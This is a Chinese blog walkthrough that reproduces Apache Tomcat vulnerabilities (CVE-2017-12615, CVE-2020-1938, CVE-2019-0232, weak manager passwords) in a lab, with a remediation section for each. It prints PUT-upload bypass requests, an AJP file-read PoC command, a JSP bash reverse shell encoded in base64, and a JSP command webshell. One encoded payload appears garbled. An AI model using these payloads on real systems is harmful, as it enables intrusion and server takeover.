Tomcat漏洞总结复现

简介

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为10.0.5。
百度百科

Tomcat目录结构及介绍

image-20210926223055908

  1. bin目录
    主要是存放一些可执行的二进制文件,.sh后缀的为linux下执行命令,.bat后缀的为windows下执行的批处理命令。
  • catalina.sh: 真正启动tomcat文件,可以在里面设置jvm参数。
  • startup.sh:启动tomcat(需事先配置好JAVA_HOME环境变量才可启动,该命令源码实际执行的为catalina.sh start)。
  • shutdown.sh:关闭tomcat。
  • version.sh:查看tomcat版本相关信息。
    image-20210926224036261
  1. conf目录
    tomcat的配置文件。
  • server.xml核心配置文件:修改端口号,设置域名或IP、默认加载的项目,添加编码格式等。
  • context.xml内容配置文件:监视并加载资源文件,当监视文件发生变化时,自动加载,一般不需要配置,保持默认即可。
  • web.xml:web应用相关通用配置,如配置servlet、添加过滤器、设置session过期时间、设置tomcat支持的文件类型等。
  • tomcat-users.xml:用来配置管理tomcat的用户配置文件,配置用户名,密码,用户具备权限等。
    image-20210926230104055
  1. logs目录
    存放tomcat运行时产生的日志文件。
  • 在windows环境中,日志文件输出到catalina.xxxx-xx-xx.log文件中。
  • 在linux环境中,日志文件输出到catalina.out文件中。
    image-20210926230952732
    | 文件名 | 内容 |
    | - | - |
    | catalina.xxxx-xx-xx.log | windows下日志文件输出内容 |
    | host-manager.xxxx-xx-xx.log | 访问webapps下host-manager项目日志 |
    | localhost.xxxx-xx-xx.log | tomcat启动时,自身访问服务,只记录tomcat访问日志,而非业务项目日志 |
    | localhost_access_log.xxxx-xx-xx.txt | 表示访问tomcat下所有项目日志记录 |
    | manager.xxxx-xx-xx.log | 访问webapps下manager项目日志 |
  1. temp目录
    用户存放tomcat在运行过程中产生的临时文件(清空不会对tomcat运行带来影响)。
  2. webapps目录
    用来存放应用程序,当tomcat启动时会去加载webapps目录下的应用程序。可以以文件夹、war包、jar包的形式发布应用。
    image-20210926231242908
    examples文件夹是tomcat默认的实例文件,一般不需要都可以直接删除。
    ROOT目录下就是实际显示的网页文件。
    在这里插入图片描述
  3. work目录
    用来存放tomcat在运行时的编译后文件,例如JSP编译后的文件。
    清空work目录,然后重启tomcat,可以达到清除缓存的作用。

CVE-2017-12615

漏洞描述

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞原理

由于配置不当(非默认配置),将配置文件 conf /web.xml 中的 readonly 设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。
通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为false 时,可以通过 PUT / DELETE 进行文件操控。

影响范围

Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

复现过程

环境:
使用vulhub的环境,docker启动,节省时间。
进入漏洞环境对应目录后:docker-compose up -d
进入容器目录:docker exec -it 容器id bash
image-20210926233252884
vulhub提供的版本是8.5.19,但不影响漏洞复现,如果是7.0.*版本复现的话,需要手动添加<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
访问http://192.168.255.128:8080
image-20210926233534341
使用burp获取数据包。
在这里插入图片描述
将GET改成PUT,上传一个txt文件测试。
在这里插入图片描述
image-20210926233943958
image-20210926234012131
尝试上传jsp文件,但是发现上传失败了。
image-20210926234135621

默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。

所以我们需要通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

目前主要三种方法:

1、Windows下不允许文件以空格结尾 以PUT /1.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格。
2、Windows NTFS流 PUT /1.jsp::$DATA HTTP/1.1
3、/在文件名中是非法的,也会被去除(Linux/Windows) PUT /1.jsp/ http:/1.1

  1. 加上%20再上传,成功绕过。
    image-20210926234954881
    但是因为环境是在linux上的,后面的空格没有去除,导致不能解析jsp文件,但是在windows上可以解析。
    image-20210926235644395
    image-20210926235900538
  2. 利用Windows NTFS流:添加::$DATA,上传成功。
    在这里插入图片描述 image-20210927000205895
  3. 添加/,上传成功。
    image-20210927000311764
    用冰蝎连接。
    image-20210927000408827

修复

1、根据业务评估配置 conf/webxml 文件的 readOnly 值为 Ture 或注释参数,禁用 PUT 方法并重启 tomcat 服务,临时规避安全风险;注意: 如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效。
2、目前官方已经发布了 7.0.81 版本修复了两个漏洞,建议用户尽快升级到最新版本;

参考

CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告

CVE-2020-1938

漏洞描述

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞原理

Tomcat 配置了两个Connector,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
image-20210927002234299
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息, prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性,因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性。

javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path

影响范围

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

复现过程

环境:vulhub
docker-compose up -d
访问http://192.168.255.128:8080
版本为9.0.30,在受影响范围内。
在这里插入图片描述
下载POC进行漏洞检测

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.255.128 -f /WEB-INF/web.xml -p 8009

成功读取/WEB-INF/web.xml文件内容,存在文件包含漏洞。
image-20210927123019378
这里模拟存在文件上传漏洞,直接上传一个反弹shell。
image-20210927135001269
1.jsp文件内容为:

<%
   java.io.InputStream in=Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3cC8xNTUuOTQuMTg0LjIwMi8xMDA4NiAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b= new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMjgvMTAwODYgMD4mMQ==}|{base64,-d}|{bash,-i}
反弹payload需要进行编码转换:http://www.jackson-t.ca/runtime-exec-payloads.html
image-20210927135319379
然后利用脚本通过漏洞包含1.jsp文件,成功反弹shell。(如果脚本包含文件后,迟迟没有反弹,直接浏览器访问上传的文件)
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f 1.jsp 192.168.255.128
在这里插入图片描述

image-20210927134645039

修复

  1. 目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:
版本 链接
Apache Tomcat 7.0.100 http://tomcat.apache.org/download-70.cgi
Apache Tomcat 8.5.51 http://tomcat.apache.org/download-80.cgi
Apache Tomcat 9.0.31 http://tomcat.apache.org/download-90.cgi
  1. 如果相关用户暂时无法进行版本升级,可根据自身情况采用下列防护措施。
  • 若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。
    具体操作:在/conf/server.xml文件中,注释或者删除。
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
  • 若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。
    使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

参考

【威胁通告】APACHE TOMCAT 文件包含漏洞(CVE-2020-1938)

CVE-2019-0232

漏洞描述

Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:
1.系统为Windows
2.启用了CGI Servlet(默认为关闭)
3.启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

漏洞原理

漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中, CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据 RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。这个漏洞是 因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的 Java 的Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创 建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传 入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调 用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c "arg.bat & dir " ,而 Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。

影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

复现过程

安装Tomcat 8.5.39下载
下载完后解压进入bin目录,运行startup.bat
在这里插入图片描述
访问http://localhost:8080/,启动成功,环境搭建完成。
image-20210927230531632
1.Tomcat的 CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executadle。
image-20210928001242341
2.同时还要修改web.xml以下配置,否则访问cgi目录会提示404。
image-20210927231342630
3.打开Tomcat安装目录的apache-tomcat-8.5.39\conf\context.xml修改如下配置,添加privileged=“true” 。
image-20210927231651199
4.在解压目录\webapps\ROOT\WEB-INF目录新建一个cgi-bin文件夹,创建一个test.bat的文件,内容如下:

@echo off
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%

访问http://localhost:8080/cgi-bin/hello.bat?%26C%3A%5CWindows%5CSystem32%5Cnet.exe+user
在这里插入图片描述

并没有执行成功,暂时还不知道那个环节出问题了。。。。(先留着,后续再看看)

修复

1.将版本升级至最新版本。
2.将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。
操作:
在Tomcat安装路径的conf文件夹下,使用编辑器打开web.xml,找到enableCmdLineArguments参数部分,添加如下配置:

<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>false</param-value>
</init-param>

参考

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Tomcat8弱口令+war包部署

漏洞描述

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。

影响范围

跟版本没有关系,如果后台密码是弱口令且有权限访问后台目录,则都受影响。

复现过程

环境:vulhub
启动docker后,进入目录可以看到漏洞环境,后台密码是tomcat/tomcat。
image-20210927142822722
访问http://192.168.255.128:8081/

进入后台目录,输入tomcat/tomcat,成功进入后台。
image-20210927143453130
制作war包:jar -cvf 2.war 1.jsp
1.jsp文件内容为:

<%
  out.println("hello!");
  if("123".equals(request.getParameter("pwd"))){
    java.io.InputStream in=
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b= new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
  }
%>

部署后的1.jsp在/2目录下。
image-20210927144124641
访问即可getshell。
image-20210927144242754

修复

禁止后台登录使用弱口令;限制访问后台的权限。

Guess you like

Origin blog.csdn.net/weixin_44033675/article/details/120462966